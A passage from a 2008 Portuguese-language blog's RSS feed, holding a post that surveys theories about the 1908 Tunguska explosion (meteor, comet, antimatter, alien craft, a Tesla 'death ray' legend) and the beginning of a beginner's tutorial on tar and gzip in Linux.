href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/13/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=13&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/06/24/permissoes-de-arquivos-unix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>Grandes mistérios da humanidade:Tunguska</title>
		<link>http://0x66.wordpress.com/2008/06/21/grandes-misterios-da-humanidadetunguska/</link>
		<comments>http://0x66.wordpress.com/2008/06/21/grandes-misterios-da-humanidadetunguska/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 05:33:01 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[Artigos]]></category>
		<category><![CDATA[Outros]]></category>
		<category><![CDATA[eletromagtismo]]></category>
		<category><![CDATA[física]]></category>
		<category><![CDATA[meteoros]]></category>
		<category><![CDATA[misterios da humanidade]]></category>
		<category><![CDATA[teorias]]></category>
		<category><![CDATA[tunguska]]></category>
		<category><![CDATA[ufologia]]></category>
		<category><![CDATA[ufos]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=28</guid>
		<description><![CDATA[Tunguska,1908
Semenow tinha um velho hábito: levantar-se de madrugada, preparar-se para as tarefas do dia na fazenda e, por fim, observar o horizonte, à espera do despontar do sol. Naquele dia, Semenow viu surgirem dois sóis no horizonte: Um deles terrivelmente mortal. Nâo muito longe de sua fazenda; o boiadeiro Luchektan começava a tanger 1 .500 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=28&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2><strong>Tunguska,1908</strong></h2>
<p>Semenow tinha um velho hábito: levantar-se de madrugada, preparar-se para as tarefas do dia na fazenda e, por fim, observar o horizonte, à espera do despontar do sol. Naquele dia, Semenow viu surgirem dois sóis no horizonte: Um deles terrivelmente mortal. Nâo muito longe de sua fazenda; o boiadeiro Luchektan começava a tanger 1 .500 cabeças de gado. Luchektan era de temperamento menos comtenplativo , e para ele o sol tinha uma finalidade meramente utilitária: servia para iluminar e aquecer a Terra. Mas um sol era mais do que suficiente; de bom grado<a href="http://www.exitmundi.nl/tunguska.jpg"><img style="float:right;cursor:pointer;width:200px;margin:0 0 10px 10px;" src="http://www.exitmundi.nl/tunguska.jpg" border="0" alt="" /></a> teria dispensado o segundo.</p>
<p><span id="more-28"></span>Nenhum daqueles dois homens sabia &#8211; na verdade, ninguem sabia &#8211; que aquele segundo sol era algo tâo desconhecido quanto fatal. Tudo aconteceu rnuito rapidamente , naquela manhâ de 30 de junho de 1908, e como o agente causador do fenomeno nâo deixou qualquer vestígio, até hoje nâo se tem ainda a noção exata do que se passou naquela regiâo da Sibéria, entre os rios Tunguska e Lena.</p>
<p>Na ocasiâo &#8211; e por muito tempo &#8211; pensou-se que o local havia sido atingido por um meteoro pesando muitas toneladas. Já na década de 40 e nos anos 60, chegara-se à conclusâo de que nâo era um meteoro, mas também nâo se tinha qualquer eerteza sobre o que teria sido. Fosse o que fosse, ao atingir a Terra liberara energia superior à da mais destruidora bomba de hidrogênio. Atualmente se considera a hipótese de que naquele dia, nosso mundo tenha sido atingido apenas por um grâo de poeira cósmica, algo menor que a cabeça de um alfinete, mas de bilhôes de toneladas. Acrrdita-se que o estranho e ínfimo corpusculo nâo deixou vestígio porqu ao colidir com a Terra à velocidade de 40 mil quilometros horários , ele atravessou o planeta numa fração de tempo e saiu num ponto do Polo Norte rumando novamente espaço afora.</p>
<p>Em termos astronômicos, o fenomeno &#8212;- qualquer que tenha sido &#8212; foi tâo rápido e inconseqüente como se nâo tivesse acontecido . Em termos terrestres e principalmente humano, foi algo tâo terrífico que ainda hoje, passado quase setenta anos; continua deixando perplexo os que procuram entender o que aconteceu naquele dia .</p>
<p>Eram 7 horas da manhã , quando o fazendeiro Semenow, que contemplava o nascer do Sol, viu o céu se iluminar com uma luz fantasmagórica. Um calor sufocante o atingiu e ele ainda pôde ver um segundo sol cortando o céu a grande velocidade. 0 estranho astro desapareceu no horizonte e, antes que Semenow pudesse imaginar o que acontecia uma onda de ar quente o envolveu e o arrancou do solo; a sensaçâo, diria ele depois, era de que estava sendo consumido em chamas. Ao cair de novo no châo, perdeu os sentidos. Voltando a si, ainda atordoado e perplexo demais para pensar, olhou ao redor e levou outro susto: sua casa havia sido volatilizado, e toda a paisagem ao redor apresentava o aspecto de terra arrasada.<a href="http://www.reliegos.com/Imagenes/Tunguska.jpg"><img style="float:right;cursor:pointer;width:200px;margin:0 0 10px 10px;" src="http://www.reliegos.com/Imagenes/Tunguska.jpg" border="0" alt="" /></a></p>
<p>0 boiadeiro Luchektan tocava suas reses em meio da penumbra que se dissipava, para dar lugar ao sol que surgia. Subitamente o céu se iluminou, estranha e rapidamente demais para ser normal. Luchektan sentiu o calor de fornalha e a onda engolfante de ar quente. Antes de desmaiar, ainda viu um homem, seu cavalo, vacas e bezerros sendo arrastados. Depois, só havia devastação: algumas carcaças de gado jaziam entre os restos de vegetaçâo arrancada do solo e nada rnais; nenhum outro sinal de vida.</p>
<p>A 750 quilometros dalí , uma locomotiva pontilhava o ar com golfadas de fumaça e vapor, enquanto arrastava a cornposiçâo de passageiros, a maioria dos quais ressonando pesadamente depois de uma noite mal dormida. Alguns rnais despertos ouviram o rumor longinquo, abafado, indistinto. Notaram que o rumor aumentava rápidamente de intensidade; algo como o ribombar de um trovâo que viesse de encontro ao trem. Inesperadamente, os vidros das janelas quebraram- se, cortinas foram arrancadas dos suportes, a madeira estalou e partiu, o trem inteiro sacudiu, pessoas gritaram.</p>
<p>A onda de ar que arrasara a fazenda de Semenow e matara a boiada de Luchektan contiriuava se propagando e destruindo, com força ainda para arrancar dos trilhos um trem que trafegava a centenas de quiIometros do local onde surgiira. No caminho, ela foi secando a àgua de rios e riachos, e produziu um abalo subterrâneo que se propagou além dos limites da Sibéria e da Rússia e que foi registrado pelo sismógrafo de um observatório inglês a mais de 8 mil quilometros de distância. Paralelamente, o observatório astronômico de lrkutsk, situado na Sibéria a poucos quilometros da fronteira com a Mongólia, assinalou inexplicável alteração no campo magnético terrestre.</p>
<p>Cientistas se dirigiram ao local do impacto para examinar os destroços daquilo que seria um provável meteoro, e especialmente para exarninar o seu núcleo, que &#8211; acreditava-se &#8211; estaria enterrado muitos metros abaixo da cratera que forçosamente teria se formado no ponto de colisâo com a crosta terrestre. Decepçâo constrangedora: ao redor, num raio de 32 quilometros, a floresta ficara inteiramente calcinada e desaparecera todo e qualquer sinal de vida, mas nâo havia um único estilhaço de meteoro, e mais surpreendente ainda, nâo havia nenhuma cratera na área.</p>
<p>À falta de melhor explicação, imaginou-se que o meteoro, ao se aquecer subitamente no atrito com a atmosfera densa, desintegrara-se antes de atingir o solo razão pela qual não teria ocorrido a colisão nem se formado a inevitável cratera. Mas outros contestaram esse argumento, afirmando que em tal hipótese, os fragmentos teriam se espalhados nas redondeza e teriam sido localizados, coisa que não aconteceu. Afinal, o que teria atingido a Terra naquele dia?</p>
<p>Se fosse um meteoro convencional, que tivesse deixado cratera todos demais vestígios de praxe , o caso teria sido academicamente estudado, catalogado e esquecido. Porém, o mistério que cercou o fenômeno serviu para aguçar a curiosidade dos cientistas, obrigando-os a queimar uma quantidade inusitada de fosfato, na tentativa de solucionar a questão. Se não chegaram a uma conclusão, pelo menos levantaram várias hipóteses e elaboraram muitas teorias a respeito do fenômeno.</p>
<p>Apesar de os indícios não ajudarem, no início prevaleceu a idéia que teria sido mesmo um meteoro agente causador dos danos e abalos naquele 30 de junho. Houve mesmo quem calculasse seu peso: 40 mil toneladas, nem um grama a menos Nos anos e décadas seguintes, porém , uma das principais teorias sobre o fenômeno foi a da anti-matéria, ou do universo inverso, onde existiriam anti-astros, cujos núcleos atômicos seriam idênticos, mas opostos aos das galáxias. Nesse quadro, o que se chocou com o solo siberiano, naquela ocasião, não foi um bólido de estrutura atômica conhecida, mas um pequeno fragmento de anti-matéria, possivelmente tamanho de uma bola de pingue-pongue.</p>
<p>0 contato do fragmento de anti-matéria com a superfície terrestre teria provocado imensa explosâo, que liberou energia superior a qualquer bomba então conhecida. Essa teoria, lançada em meados da década da passada pelos físicos C. Atluri e Clyde Cowan, pareceu fantástica entâo, mas nâo tanto quanto à lançada no final de 1976 pelos cientistas soviéticos Vladimir Stulov e Georgi Petrov. Segundo eles, o misterio fenomeno siberiano foi provocado por uma gigantesca bola de neve, remanescente do núcleo de um cometa.</p>
<p>O bólido de neve, desenvolvendo uma velocidade de 40 mil quilômetros horários, penetrou na atmosfera terrestre e, graças à sua baixíssima temperatura, manteve-se incólume até chegar à altitude de 80 quilômetros. A partir daí, à medida que o caía, maior se tornou o atrito com as camadas mais densas de ar, produzindo uma coluna incandescente. Por fim, o rápido e intenso aumento de calor provocou a desintegração da esfera de gelo; resultando uma explosão tão potente que arrasou toda a espécie de vegetação num raio de dezenas de quilômetros, produziu danos a centenas de quilômetros e foi ouvida em regiões muito distantes.</p>
<p>Mais recente que a teoria da bola de neve a do &#8220;buraco negro&#8221; , apresentada pelos físicos norte-americanos A. A. Jackson e Michael Ryan Jr., ambos da Universidade do Texas. 0 grande problema dessa tese é que a ciência nâo sabe o que são os chamados &#8220;buracos negros&#8221; existentes no céu. Tudo o que existe até agora sobre esse fenômeno sideral sâo conjecturas.</p>
<p>Explicar o incompreensível por meio de algo desconhecido não faz sentido. Aliás, na própria palavra buraco está implícita a idéia de inexistência. Então, nosso planeta teria sido atingido por algo que não existe? &#8220;Buraco negro&#8221; é uma região do céu onde aparentemente não existe nada, exceto a tal negritude que lhe dá o nome, mas de onde ; provem poderosas emissões de raios X perfeitamente captáveis na Terra. Várias hipóteses têm sido levantadas na tentativa de explicar o que sejam esses pontos do espaço. Segundo uma delas, os &#8220;buracos negros&#8221; sâo astros<a href="http://www.exitmundi.nl/Komeetplaat.jpg"><img style="float:right;cursor:pointer;width:200px;margin:0 0 10px 10px;" src="http://www.exitmundi.nl/Komeetplaat.jpg" border="0" alt="" /></a> constituídos por anti matéria de estrutura nuclear inversa à da matéria comum, o que os torna invisíveis aos nossos olhos. Se isso for correto estaria certa a teoria de Atluri e Cowan de que a desintegraçâo de um corpo sideral de anti matéria ocorrida em era remota teria lançado fragmentos por todo o espaço, um dos quais acabou se chocando com a Terra.</p>
<p>De acordo com outra hipótese, os &#8220;buracos negros&#8221; são corpos celestes formados de uma matéria tão densa e tão extraordinariamente brilhante que os seus raios estarianü situados numa faixa não perceptível aos nossos olhos . Daí a razâo pela qual, nos pontos do espaço ocupados por eles; tem a impressâo de que há uma espécie de vácuo ou buraco. Impressão falsa, corno o demonstram fortes ondas de rádio precedente desses pontos . Os físicos Jackson e Ryan Jr. inclinam-se por essa teoria ao dizer que o vale entre as bacias do Tunguska e do Lena teria sido atingido por um fragmento de &#8220;buraco negro&#8221; menor que a cabeça de um alfinete, mas pesando bilhões de toneladas em virtude de sua densi dade.</p>
<p>Esse micro meteoro, ao penetrar na atmosfera terrestre, teria provocado ondas de choque e produzido uma coluna incandescente e azulada extremamente quente, ao se deslocar È velocidade de 40 mil quilômetros por hora. Simples grão de poeira cósmica, penetrou no solo sem deixar vestígio, atravessou o planeta e continuou sua viagem sem rumo e sem fim pelo universo. Segundo os físicos americanos, não foi o impacto com o solo que cau sou o cataclismo e sim a deflagração de ondas de choque decorrentes do aquecimento súbito da atmosfera no ponto em que surgiu a coluna ígnea gerada pelo deslocamento do corpúsculo.</p>
<p>Teoria ousada, sem dúvida, mas não destituída de fundamento Para apoiá-la, os dois cientistas estudaram os depoimentos de testemunhas da época: Velhos moradores de Tunguska recordararn-se de que naquela manhã tiveram sua atenção despertada por uma sucessão de explosões vindas do céu. Olhando para cima, virarn uma longa e fina coluna de fogo ázulado riscando o firmamento de alto a baixo, ao mesmo tempo que um trovão intermitente e profundo parecia abalar o próprio mundo. Até que a faixa incandescente atingiu a Terra em algum ponto além do horizonte, deixando atrás de si a terra queimada e arrasada.</p>
<p>Ao lado dessas teorias , todas plausiveis embora discutíveis; há os que vêem naquele fenôrneno nada mais do que uma explosão nuclear; de potência ignorada, na época como agora. Acontece que a primeira bomba atômica construída pelo Homem explodiu à 16 de julho de I945, ou seja, 37 anos depois e, ainda assim, a energia liberada peto artefato deflagrado em Alamogordo, nos Estados Unidos, equivalia a 20 mil toneladas de dinamite, bem inferior à explosão ocorrida em Tunguska.</p>
<p>A conclusão é inevitável: se o fenômeno observado naquela regïão siberiana foi o resultado de uma deflagração nuclear, tem-se necessariamente de admitir que esta terá sido provocada por uma inteligência extraterrestre. Mas por quem e por que? Duas hipóteses procuram explicar o que teria ocorrido. Uma delas, apresentada pelo professor Liapunov, da União Soviética, diz que um aparelho vindo de outro planeta, impulsionado a energia nuclear, teria sofrido uma pane, se desgovernado e precipitado a uma velocidade vertiginosa, provocando a incandescência da nave pelo atrito com a atmosfera . Não se encontrou nenhum vestígio na área por que o combustível atômico se desintegrou ao explodir ao choque contra o solo, volatilizando aparelho e tripulantes.</p>
<p>A segunda hipótese , recebida com reservas mesmo pelos que defendem a existência de seres extra-terrenos inteligentes, afirma que o estranho objeto que explodiu na Terra foi urn míssel disparado de outro planeta, acidental ou propositadamente.</p>
<p>Bomba atômica fabricada na Terra, aparelho acidentado ou míssil extraterrestres , a hipótese de explosão nuclear ganhou certo peso depois que pesquisas realizadas por cientistas norte-americanos , em meados da década passada, revelaram que , após a explosão de 1908 , houve um aumento elevado de radioatividade na atmosfera, conforme análises feitas em amostras vegetais da época. Mas nem isso leva a uma conclusão definitiva.</p>
<p>E a duvida permanece: cometa , meteoro , particula de anti-matéria, &#8220;buraco negro&#8221;, disco voador , ou o que?</p>
<p>Por enquanto, só uma certeza : alguma coisa explodiu na Terra naquela manhã de 1908 e até hoje ninguém sabe o que foi.</p>
<p>Diga-se que vêm a propósito a seguinte noticia em http://www.tsf.pt/online/ciencia/interior.asp?id_artigo=TSF153216</p>
<p>CIÊNCIA Descobertos destroços de nave extra-terreste, segundo russos Cientistas russos afirmam que encontraram os destroços de uma nave espacial extra-terrestre que se despenhou em 1908 em Tunguska, na Sibéria, anunciou quarta-feira à noite a agência noticiosa Interfax. ( 10:19 / 12 de Agosto 04 )</p>
<p><a href="http://www.signs-of-the-times.org/signs/images/tunguska-1933.jpg"><img style="float:right;cursor:pointer;width:200px;margin:0 0 10px 10px;" src="http://www.signs-of-the-times.org/signs/images/tunguska-1933.jpg" border="0" alt="" /></a> Os cientistas, ligados ao Fundo do Fenômeno Espacial de Tunguska, encontraram também no local uma pedra de 50 quilos que levaram para análise em Krasnoyarsk, na Sibéria.</p>
<p>O cataclismo de Tunguska, ocorrido numa zona desértica da Sibéria, continua a constituir um dos maiores mistérios científicos do século XX.</p>
<p>A 30 de Junho de 1908, o que se julga ter sido um meteorito explodiu a alguns quilômetros de Tunguska, provocando uma onda de choque sentida em centenas de quilómetros em redor e devastando uma zona de dois mil quilômetros quadrados de floresta siberiana.</p>
<p>A natureza exata do corpo que explodiu e a sua origem continuam um verdadeiro mistério.</p>
<p><a href="http://anozero.blogspot.com/2005/09/tunguska.html" target="_blank">fonte</a></p>
<p>Existe a historia de um físico chamado <a href="https://secure.wikimedia.org/wikipedia/pt/wiki/Nikola_Tesla" target="_blank">nikola tesla</a>, em que é falado sobre o &#8220;raio da morte&#8221;:</p>
<p>&#8220;<span style="font-family:Arial;color:#ff0000;"><big><strong>O Raio da Morte:</strong></big></span></p>
<p><span style="font-family:Arial;">Uma vez que as invenções de Tesla geralmente continham em sí um elemento de consciência social, ou obra pela humanidade, pode parecer surpreendente que ele tenha criado uma série de dispositivos com aplicações militares, e a noção de Tesla utilizando seu gênio para propósitos bélicos é imensamente assustadora. Afinal, este é o homem que se vangloriava do fato que seu gerador ressonante poderia dividir a Terra ao meio, e ninguém até hoje soube ao certo se ele estava brincando.</span></p>
<p><span style="font-family:Arial;">A primeira invenção de Tesla com propósito militar utilizava uma espécie de automação tecnológica, com a qual o trabalho de seres humanos poderia ser substituído por máquinas. Especificamente, Tesla produzia barcos e submarinos controlados remotamente. Ele demonstrou o navio por controle remoto em uma exposição no Madison Square Garden, em 1898. O aparato era tão avançado que até mesmo usava uma espécie de reconhecimento vocal para responder aos comandos verbais de Tesla e voluntários do público.</span></p>
<p><span style="font-family:Arial;">Em público, Tesla falou das virtudes humanitárias da invenção: ela iria impedir que vários trabalhadores arriscassem suas vidas. Mas Tesla realmente estava esperando um contrato com o exército dos Estados Unidos. Em uma apresentação para o departamento de guerra, Tesla argumentou que sua invenção poderia obliterar a armada espanhola, e acabar com a guerra com a Espanha em uma tarde. O governo nunca aceitou a oferta de Tesla.</span></p>
<p><span style="font-family:Arial;">Tesla, então, deciciu direcionar o submarino automático à industria privada, e procurou a aprovação de J. P. Morgan. Segundo contam, Morgan ofereceu-se para fabricar os barcos de Tesla se este se casasse com sua filha. Tal acordo era um anátema a Tesla, e os dois nunca mais trabalhariam juntos até Wardenclyffe, alguns anos mais tarde.</span></p>
<p><span style="font-family:Arial;">Tesla eventualmente conseguiu um contrato militar bem sucedido: com a marinha alemã, O produto não eram seus barcos a controle remoto, mas turbinas sofisticadas que o almirante Von Tirpits usou com grande sucesso em sua armada de navios de guerra. Depois que J. P. Morgan cortou seu apoio a Tesla, este contrato tornou-se sua única fonte de renda. Quando do advento da primeira guerra mundial, Tesla cancelou seu contrato com os alemães, para não ser acusado de traição.</span></p>
<p><span style="font-family:Arial;">Quase falido e observando os Estados Unidos à beira da guerra, Tesla sonhou com outra invenção que pudesse interessar os militares: o raio da morte.</span></p>
<p><span style="font-family:Arial;">O mecanismo por detrás do raio da morte não é bem compreendido até hoje. Ele era aparentemente uma espécie de acelerador de partículas. Tesla disse que ele era uma melhoria de seu transformador amplificador, que concentrava energia em um fino raio tão concentrado que ele não se dispersaria, mesmo a grandes distâncias. Ele o promoveu como uma arma puramente defensiva, com a intenção de impedir ataques, fazendo de seu raio da morte o tataravô da defesa estratégica.</span></p>
<p><span style="font-family:Arial;">Não se sabe ao certo se Tesla usou seu raio da morte, ou se ele sequer chegou a contruí-lo. Mas o seguinte é a história geralmente relatada do que aconteceu naquela noite em 1908, quando Tesla testou sua arma.</span></p>
<p><span style="font-family:Arial;">Naquela época, Robert Peary estava fazendo sua segunda tentativa    em se chegar ao polo norte. Criptocamente, Tesla notificou a expedição que eles    estariam tentando entrar em contato com eles de alguma forma, e eles deveriam    relatar qualquer coisa incomum que eles observassem. Na noite de 30 de junho,    acompanhado por seu associado, George Scherff, na torre de Wardenclyffe, Tesla    apontou seu raio através do atlântico, para o ártico, a um ponto calculado como    estando a oeste da expedição de Peary.</span></p>
<p><span style="font-family:Arial;">Tesla ligou o equipamento. De início, era difícil dizer que ele estava funcionando. Sua extremidade emitiu uma luz pálida, dificilmente notável. Então, uma coruja voou de seu ninho no topo da torre, na direção do raio, e foi desintegrada instantâneamente.</span></p>
<p><span style="font-family:Arial;">Isso concluiu o teste. Tesla observou os jornais e enviou telegramas para Peary na esperança de confirmar a efetividade do raio da morte. Nada apareceu. Tesla estava pronto para admitir derrota quando recebeu notícias de um estranho evento ocorrido na Sibéria.</span></p>
<p><span style="font-family:Arial;">Em 30 de junho, uma enorme explosão havia devastado Tunguska,    uma área remota na floresta da Sibéria. Quinhentos mil acres quadrados de terra    foram instantâneamente destruídos, o equivalente a quinze megatons de TNT. O    incidente de Tunguska é a mais poderosa explosão ocorrida na história, nem mesmo    subsequentes explosões termonucleares ultrapassaram sua força. A explosão foi    audível a 930 quilômetros de distância, aproximadamente.Os cientistas crêem    que ela foi causada por um meteorito ou fragmento de um cometa, embora nenhum    impacto evidente ou restos minerais de tal objeto jamais tenham sido encontrados.</span></p>
<p><span style="font-family:Arial;">Nikola Tesla tinha uma explicação diferente. Ela claro para ele que seu raio da morte tinha ultrapassado seu alvo calculado e atingido Tunguska. Ele ficou extremamente grato que a explosão, miraculosamente, não matou ninguém. Tesla desmontou o raio da morte imediatamente, crendo-o muito perigoso para continuar existindo.</span></p>
<p><span style="font-family:Arial;">Seis anos mais tarde, o fim da primeira guerra fez com que    Tesla reconsiderasse. Ele escreveu ao presidente Wilson, revelando o segredo    do teste do raio da morte, orefecendo-se para reconstruí-lo para o departamento    de Guerra. A mera ameaça de tamanha força destrutiva faria com que as nações    em guerra concordassem em estabelecer-se a paz imediatamente.</span></p>
<p><span style="font-family:Arial;">A única resposta de Tesla à sua proposta foi uma carta formal de apreciação da secretária do presidente. O raio da morte nunca foi reconstruído, supondo que ele tenha sido construído, em primeiro lugar.</span></p>
<p><span style="font-family:Arial;">Tesla fez mais uma tentativa de ajudar seu país na guerra    em 1917. Ele concebeu uma estação emissora que emitiria ondas exploratórias    de energia, permitindo que seus operadores determinassem com precisão a localização    de veículos inimigos distantes. O departamento de guerra riu-se e rejeitou o    &#8220;raio explorador&#8221; de Tesla.</span></p>
<p><span style="font-family:Arial;">Uma geração mais tarde, esta mesma invenção ajudaria os aliados a vencer a segunda guerra mundial. Ela era chamada radar.&#8221;</span></p>
<h4><strong>Informações um pouco mais recentes sobre o ocorrido.</strong></h4>
<p align="left">&#8220;Uma expedição de cientistas italianos pode ter encontrado, em um lago da Sibéria, a explicação para o chamado &#8220;evento de Tunguska&#8221; &#8211; uma explosão que ocorreu sobre o norte da Rússia em 1908, destruindo vegetação por mais de 2.000 km2 e gerando tremores de terra e uma luz súbita nos céus, observada em partes da Europa e da Ásia.<br />
Cientistas acreditam que o evento tenha sido causado pela desintegração de um cometa ou asteróide a uma altitude de 5 km a 10 km na atmosfera, mas nenhum fragmento ou vestígio do corpo jamais foi encontrado, o que fez do evento um tema popular entre aficionados de óvnis. Tunguska também aparece em diversas obras de ficção, de um romance de Thomas Pynchon ao seriado de TV Arquivo X.<br />
Agora, em artigo na revista online Terra Nova, pesquisadores liderados por Luca Gasperini, da Universidade de Bolonha, sugerem que o Lago Cheko, 8 km ao norte do provável epicentro do evento, pode ser a cratera aberta por um pedaço do corpo responsável pela explosão no ar.<br />
Sondagens realizadas no lago pelos cientistas italianos durante uma expedição em 1999, descritas no artigo, sugerem que o lago preenche uma cratera aberta por um impacto. O trabalho dos pesquisadores, ressaltando que a região é remota e pouco habitada, diz que não se sabe se o Cheko já existia antes de 1908, e que sua primeira citação em mapas data de 1928.<br />
Com base nas características do lago, a equipe de Gasperini sugere que a cratera foi aberta por um asteróide de 1.500 toneladas e 10 metros de diâmetro &#8211; no máximo: o terreno é pantanoso, e a cratera pode ter se expandido, com o desgaste do solo ao redor da borda original.<br />
Os cientistas reconhecem, no entanto, que será necessário realizar uma perfuração no leito do lago para determinar se se trata realmente de uma cratera de asteróide, com a descoberta de um fragmento do meteorito original ou de solo compactado pelo impacto.&#8221;
</p>
<p align="left"><a href="http://www.cubbrasil.net/index.php?option=com_content&amp;task=view&amp;id=249&amp;Itemid=87" target="_blank">Fonte</a></p>
<p>Bom é isso galera tirem suas conclusões sobre oque realmente aconteceu em tunguska.</p>
<p>Recomendo leitura dos seguintes artigos:</p>
<p><a href="http://br.geocities.com/rsmaike/sibr1908.htm" target="_blank">Sibéria 1908</a></p>
<p><a href="http://www.cubbrasil.net/index.php?option=com_content&amp;task=view&amp;id=249&amp;Itemid=87" target="_blank"> Lago pode explicar mistério do OVNI de 1908 na Sibéria </a></p>
<p><a href="http://en.wikipedia.org/wiki/Tunguska_event" target="_blank">Tunguska event</a></p>
<p>Revista Galilleu 1999 edição de Janeiro.</p>
<p>[]&#8217;s</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/0x66.wordpress.com/28/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/0x66.wordpress.com/28/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/28/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=28&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/06/21/grandes-misterios-da-humanidadetunguska/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>

		<media:content url="http://www.exitmundi.nl/tunguska.jpg" medium="image" />

		<media:content url="http://www.reliegos.com/Imagenes/Tunguska.jpg" medium="image" />

		<media:content url="http://www.exitmundi.nl/Komeetplaat.jpg" medium="image" />

		<media:content url="http://www.signs-of-the-times.org/signs/images/tunguska-1933.jpg" medium="image" />
	</item>
		<item>
		<title>Compactação de arquivos no Linux</title>
		<link>http://0x66.wordpress.com/2008/06/20/compactacao-de-arquivos-no-linux/</link>
		<comments>http://0x66.wordpress.com/2008/06/20/compactacao-de-arquivos-no-linux/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 16:56:34 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[bz]]></category>
		<category><![CDATA[bzip2]]></category>
		<category><![CDATA[comandos do linux]]></category>
		<category><![CDATA[compactação e descompactação]]></category>
		<category><![CDATA[gunzip]]></category>
		<category><![CDATA[tar]]></category>
		<category><![CDATA[zip]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=26</guid>
		<description><![CDATA[Compactação de arquivos no Linux
Introdução
Os iniciantes no Linux podem ficar um pouco confusos devido a grande variedade de extensões existentes dos arquivos compactados. Essa confusão pode surgir principalmente quando alguém baixa um arquivo e não sabe que comando usar para extraí-lo.
Vou me esforçar para esclarecer um pouco esse assunto com o objetivo de fornecer alguma [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=26&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h3>Compactação de arquivos no Linux</h3>
<h3>Introdução</h3>
<p>Os iniciantes no Linux podem ficar um pouco confusos devido a grande variedade de extensões existentes dos arquivos compactados. Essa confusão pode surgir principalmente quando alguém baixa um arquivo e não sabe que comando usar para extraí-lo.</p>
<p>Vou me esforçar para esclarecer um pouco esse assunto com o objetivo de fornecer alguma ajuda para quem está começando a experimentar o Linux.</p>
<p>Pode parecer um pouco complicado no início, mas esse artigo resume bem praticamente tudo o que você precisa saber sobre compactação de arquivos no Linux. Se ler o artigo com atenção, não importa que formato você encontre, você saberá o que fazer sem precisar ficar buscando ajuda.</p>
<p>Caso não saiba o que é compressão (ou compactação) de arquivos, aí vai uma explicação rápida:</p>
<p>Compressão significa reunir um ou mais arquivos, usando algum programa que irá eliminar as redundâncias de dados desses arquivos, fazendo com que eles ocupem menos espaço. Ao invés de ter vários arquivos, você pode ter um só arquivo comprimido que inclui muitos. Um arquivo comprimido possui extensões que o identificam, por exemplo: .gz e .zip.<br />
<span id="more-26"></span></p>
<h4>TAR &#8211; Armazenando vários em um</h4>
<p>TAR (Tape ARchive) é um formato muito usado para armazenar vários arquivos em um. Esse processo é chamado de arquivamento.</p>
<p>Para armazenar vários arquivos em um, use um comando, por exemplo:</p>
<p><strong>$ tar -cf nomedoarquivo.tar arquivo1 arquivo2 arquivo3</strong></p>
<p>Este comando combina arquivo1, arquivo2 e arquivo3 e armazena-os em nomedoarquivo.tar. O parâmetro -c indica que queremos criar um arquivo e o parâmetro -f indica que estamos manipulando arquivos.</p>
<p>E para extrair esses arquivos?</p>
<p>Use o comando:</p>
<p><strong>$ tar -xf nomedoarquivo.tar </strong></p>
<p>Para extrair todos os arquivos de nomedoarquivo.tar no diretório atual.</p>
<p>Caso ache difícil lembrar os parâmetros, aqui vai algumas dicas:</p>
<ul>
<li> -c lembra criar</li>
<li> -f lembra &#8220;Files&#8221; (arquivos em inglês)</li>
<li> -x lembra eXtrair</li>
</ul>
<h4>Compactação de arquivos</h4>
<p>No Linux, bz e gz são formatos comuns de compressão. Normalmente você usa o utilitário bzip2 para criar arquivos bz e o gzip para criar arquivos gz. O bzip é capaz de comprimir mais que o gzip, porém consome mais memória no processo.</p>
<p>Para comprimir um arquivo usando o gzip, use o comando:</p>
<p><strong>$ gzip nomedoarquivo</strong></p>
<p>O resultado é um arquivo chamado nomedoarquivo.gz. Por exemplo, o comando:</p>
<p><strong>$ gzip imagem.jpg</strong></p>
<p>Irá criar o arquivo comprimido imagem.jpg.gz.</p>
<p>Porém, uma observação: ele não irá apenas criar o arquivo gz, mas também irá substituir o arquivo original pelo arquivo comprimido.</p>
<p>Para descompactar o arquivo, use o comando:</p>
